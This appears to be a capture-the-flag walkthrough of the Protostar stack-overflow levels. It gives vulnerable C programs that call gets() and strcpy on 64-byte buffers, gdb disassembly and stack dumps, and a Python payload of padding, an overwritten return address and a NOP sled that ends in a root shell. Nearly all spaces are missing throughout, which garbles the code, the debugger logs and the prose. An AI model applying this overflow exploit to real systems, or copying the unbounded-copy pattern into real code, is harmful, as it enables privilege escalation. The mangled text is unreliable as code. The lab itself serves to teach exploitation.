#include<stdlib.h>#include<unistd.h>#include<stdio.h>intmain(intargc,char**argv){volatileintmodified;// volatile tells the compiler not to cache the value of `modified`charbuffer[64];modified=0;gets(buffer);// Never use gets().// Because it's impossible to tell without knowing the data in advance// how many characters gets() will read, and gets() will continue to// store characters past the end of the bufferif(modified!=0){printf("you have changed the 'modified' variable\n");}else{printf("Try again?\n");}}
(gdb)setdisassembly-flavorintel
(gdb)disassemblemain
Dumpofassemblercodeforfunctionmain:
0x080483f4<main+0>:pushebp
0x080483f5<main+1>:movebp,esp
0x080483f7<main+3>:andesp,0xfffffff0
0x080483fa<main+6>:subesp,0x60
0x080483fd<main+9>:movDWORDPTR[esp+0x5c],0x0# modified = 00x08048405<main+17>:leaeax,[esp+0x1c]0x08048409<main+21>:movDWORDPTR[esp],eax# passing the address of buffer to gets()0x0804840c<main+24>:call0x804830c<gets@plt>
0x08048411<main+29>:moveax,DWORDPTR[esp+0x5c]# starting to check the value of modified0x08048415<main+33>:testeax,eax
0x08048417<main+35>:je0x8048427<main+51>
0x08048419<main+37>:movDWORDPTR[esp],0x8048500
0x08048420<main+44>:call0x804832c<puts@plt>
0x08048425<main+49>:jmp0x8048433<main+63>
0x08048427<main+51>:movDWORDPTR[esp],0x8048529
0x0804842e<main+58>:call0x804832c<puts@plt>
0x08048433<main+63>:leave0x08048434<main+64>:retEndofassemblerdump.
(gdb)break*0x0804840c
Breakpoint2at0x804840c:filestack0/stack0.c,line11.
(gdb)break*0x08048411
Breakpoint3at0x8048411:filestack0/stack0.c,line13.
(gdb)definehook-stop# define a hook, some commands will be executed when stops# Note: some unimportant output parts are omitted belowTypecommandsfordefinitionof"hook-stop".
Endwithalinesayingjust"end".
>inforegisters
>x/24wx$esp>x/2i$eip>end
(gdb)r
Startingprogram:/opt/protostar/bin/stack0
(gdb)c
Continuing.
THISISTHEINPUT# 544849534953544845494e505554eax0xbffff65c-1073744292
ecx0xbffff65c-1073744292
edx0xb7fd9334-1208118476
ebx0xb7fd7ff4-1208123404
esp0xbffff6400xbffff640
ebp0xbffff6a80xbffff6a8
esi0x00edi0x00eip0x80484110x8048411<main+29>
eflags0x200246[PFZFIFID]cs0x73115ss0x7b123ds0x7b123es0x7b123fs0x00gs0x33510xbffff640:0xbffff65c0x000000010xb7fff8f80xb7f0186e
0xbffff650:0xb7fd7ff40xb7ec61650xbffff6680x53494854# start from here0xbffff660:0x485453490x504e49450xbf0054550x080482e8
0xbffff670:0xb7ff10400x080496200xbffff6a80x08048469
0xbffff680:0xb7fd83040xb7fd7ff40x080484500xbffff6a8
0xbffff690:0xb7ec63650xb7ff10400x0804845b0x00000000# need at least 16 bytes + 1 bit to overwrite the value of `modified`0x8048411<main+29>:moveax,DWORDPTR[esp+0x5c]0x8048415<main+33>:testeax,eax
Breakpoint3,main(argc=1,argv=0xbffff754)atstack0/stack0.c:13
13instack0/stack0.c
(gdb)x/wx$esp+0x5c# check the value of `modified`0xbffff69c:0x00000000
#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>intmain(intargc,char**argv){volatileintmodified;charbuffer[64];if(argc==1){errx(1,"please specify an argument\n");}modified=0;strcpy(buffer,argv[1]);if(modified==0x61626364){// 'dcba' in little endianprintf("you have correctly got the variable to the right value\n");}else{printf("Try again, you got 0x%08x\n",modified);}}
#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>intmain(intargc,char**argv){volatileintmodified;charbuffer[64];char*variable;variable=getenv("GREENIE");if(variable==NULL){errx(1,"please set the GREENIE environment variable\n");}modified=0;strcpy(buffer,variable);if(modified==0x0d0a0d0a){// '\n\r\n\r' in little endianprintf("you have correctly modified the variable\n");}else{printf("Try again, you got 0x%08x\n",modified);}}
#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>voidwin(){printf("code flow successfully changed\n");}intmain(intargc,char**argv){volatileint(*fp)();charbuffer[64];fp=0;gets(buffer);if(fp){printf("calling function pointer, jumping to 0x%08x\n",fp);fp();}}
#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>voidgetpath(){charbuffer[64];unsignedintret;printf("input path please: ");fflush(stdout);gets(buffer);ret=__builtin_return_address(0);// read the current return address from the stackif((ret&0xbf000000)==0xbf000000){// check the return address if it starts with 0xbfprintf("bzzzt (%p)\n",ret);_exit(1);}printf("got path %s\n",buffer);}intmain(intargc,char**argv){getpath();}
importstructret=struct.pack('I',0x080484f9)eip=struct.pack('I',0xbffff6b0+16)nop='\x90'*64print('a'*80+ret+eip+nop+'\xcc'*4)# just to hit the break point
$python/tmp/stack.py>/tmp/break
$gdb./stack6
(gdb)break*0x080484f9
Breakpoint1at0x80484f9:filestack6/stack6.c,line23.
(gdb)definehook-stop
Typecommandsfordefinitionof"hook-stop".
Endwithalinesayingjust"end".
>x/1i$eip>x/8wx$esp>end
(gdb)r</tmp/breakStartingprogram:/opt/protostar/bin/stack6</tmp/break
inputpathplease:gotpathaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aaaaaaaaaaaa�������������������������������������������������������������������������
0x80484f9<getpath+117>:ret0xbffff69c:0x080484f90xbffff6c00x909090900x90909090
0xbffff6ac:0x909090900x909090900x909090900x90909090
Breakpoint1,0x080484f9ingetpath()atstack6/stack6.c:23
23stack6/stack6.c:Nosuchfileordirectory.
instack6/stack6.c
(gdb)si
0x80484f9<getpath+117>:ret# ret again, because we jump to it0xbffff6a0:0xbffff6c00x909090900x909090900x90909090
0xbffff6b0:0x909090900x909090900x909090900x90909090
Breakpoint1,0x080484f9ingetpath()atstack6/stack6.c:23
23instack6/stack6.c
(gdb)Cannotaccessmemoryataddress0x61616165
(gdb)0xbffff6c1:nop
0xbffff6a4:0x909090900x909090900x909090900x90909090
0xbffff6b4:0x909090900x909090900x909090900x90909090
0xbffff6c1in??()(gdb)c
Continuing.
ProgramreceivedsignalSIGTRAP,Trace/breakpointtrap.
0xbffff6e5:int30xbffff6a4:0x909090900x909090900x909090900x90909090
0xbffff6b4:0x909090900x909090900x909090900x90909090
0xbffff6e5in??()
This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
$(python/tmp/stack.py;cat)|./stack6
inputpathplease:gotpathaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���aaaaaaaaaaaa���AAAA�c��
id
uid=1001(user)gid=1001(user)euid=0(root)groups=0(root),1001(user)whoami
root